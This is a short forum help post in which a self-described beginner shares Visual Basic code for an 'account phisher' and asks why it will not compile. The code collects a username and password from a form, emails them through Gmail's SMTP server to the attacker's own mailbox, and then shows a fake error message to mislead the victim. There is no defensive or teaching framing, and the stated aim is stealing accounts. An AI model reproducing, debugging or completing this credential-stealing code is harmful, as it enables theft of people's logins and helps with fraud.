[HELP!]Account phisher

When i try to compile this it says structe not found help? im new as you can tell but i know i have the potential xD

If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Missing")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Any Error You Want Here")